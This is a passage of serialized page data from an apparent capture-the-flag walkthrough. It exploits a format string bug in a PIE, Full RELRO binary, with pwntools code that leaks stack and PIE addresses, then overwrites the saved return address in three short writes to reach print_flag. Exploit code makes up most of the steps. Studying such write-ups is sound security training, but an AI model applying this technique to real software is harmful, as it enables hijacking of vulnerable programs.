:'` and subtracting from the runtime leak to recover the PIE base. The return-address-location on the stack is leak[20] - 8. Always re-derive offsets locally; rebuilds shift them.","followUp":"$undefined","context":[["$","p",null,{"children":["With ",["$","strong",null,{"children":"Full RELRO"}]," ","enabled, the GOT (Global Offset Table) is marked read-only after the dynamic linker resolves symbols at startup. This prevents the classic technique of overwriting a GOT entry to redirect a library call to ",["$","code",null,{"children":"system()"}],". The alternative is to target the ",["$","strong",null,{"children":"saved return address"}]," ","on the stack inside the vulnerable function. When the function executes its ",["$","code",null,{"children":"ret"}]," ","instruction, it pops your supplied address into the instruction pointer."]}],["$","p",null,{"children":["Stack position 20 in this binary holds the saved return address of the echo loop itself - a pointer back into the binary that reveals both the PIE base and the exact stack slot you need to overwrite. Position 21 holds ",["$","code",null,{"children":"main"}],"'s address, which gives the PIE base for computing ",["$","code",null,{"children":"print_flag"}],"'s absolute address. Both leaks come from a single ","$L1e"," ","call with the format string ","$L1f","."]}],"$L20"],"commands":[{"code":"p.sendlineafter(b'Shouting: ', b'%20$p::%21$p')","html":"

p.sendlineafter(b'Shouting: ', b'%20$p::%21$p')

","lang":"bash"},{"code":"p.recvuntil(b'You heard in the distance: ')","html":"

p.recvuntil(b'You heard in the distance: ')

","lang":"bash"},{"code":"line = p.recvline().decode().strip().split('::')","html":"

line = p.recvline().decode().strip().split('::')

","lang":"bash"},{"code":"return_addr_location = int(line[0], 16) - 8","html":"

return_addr_location = int(line[0], 16) - 8

","lang":"python"},{"code":"main_addr = int(line[1], 16)","html":"

main_addr = int(line[1], 16)

","lang":"python"},{"code":"pie_base = main_addr - 0x13f2","html":"

pie_base = main_addr - 0x13f2

","lang":"bash"},{"code":"print_flag_addr = pie_base + 0xc48 # offset of print_flag in binary","html":"

print_flag_addr = pie_base + 0xc48  # offset of print_flag in binary

","lang":"bash"}]},{"title":"Build the format string write payload","hint":"Full RELRO blocks GOT overwrite, so you need to redirect the saved return address on the stack instead. A single 8-byte write through the format string would blow past the buffer - what's the standard pattern for splitting one large write into multiple smaller ones across iterations?","detail":"fmtstr_payload writes a value at an address using %n. The input buffer is 100 bytes, and a full 8-byte `%n` write requires a format string that itself overflows it - so split into three 2-byte (`short`) writes that fit comfortably. The three writes target consecutive offsets 0/+2/+4 covering the low 6 bytes (the top two are zero in user-space and already correct). Each iteration of the echo loop accepts one chunk; the function still hasn't returned, so partial writes accumulate safely.","followUp":"$undefined","context":"$L21","commands":[{"code":"context.arch = 'amd64'","html":"

context.arch = 'amd64'

","lang":"bash"},{"code":"chunks = [print_flag_addr & 0xFFFF,","html":"

chunks = [print_flag_addr & 0xFFFF,

","lang":"bash"},{"code":" (print_flag_addr >> 16) & 0xFFFF,","html":"

          (print_flag_addr >> 16) & 0xFFFF,

","lang":"bash"},{"code":" (print_flag_addr >> 32) & 0xFFFF]","html":"

          (print_flag_addr >> 32) & 0xFFFF]

","lang":"bash"},{"code":"p.sendline(fmtstr_payload(6, {return_addr_location: chunks[0]}, write_size='short'))","html":"

p.sendline(fmtstr_payload(6, {return_addr_location:     chunks[0]}, write_size='short'))

","lang":"bash"},{"code":"p.sendline(fmtstr_payload(6, {return_addr_location + 2: chunks[1]}, write_size='short'))","html":"

p.sendline(fmtstr_payload(6, {return_addr_location + 2: chunks[1]}, write_size='short'))

","lang":"bash"},{"code":"p.sendline(fmtstr_payload(6, {return_addr_location + 4: chunks[2]}, write_size='short'))","html":"

p.sendline(fmtstr_payload(6, {return_addr_location + 4: chunks[2]}, write_size='short'))

","lang":"bash"}]},{"title":"Trigger the return and capture the flag","hint":"$undefined","detail":"The echo loop reads input and breaks on the literal string `exit`; on break, `ret` pops the (now-overwritten) saved RIP and execution jumps to `print_flag`, which reads and prints the flag file.","followUp":"$undefined","context":"$L22","commands":[{"code":"p.sendline(b'exit')","html":"

p.sendline(b'exit')

","lang":"bash"},{"code":"print(p.recvall().decode())","html":"

print(p.recvall().decode())

","lang":"python"}]}]}],"$L23"]}]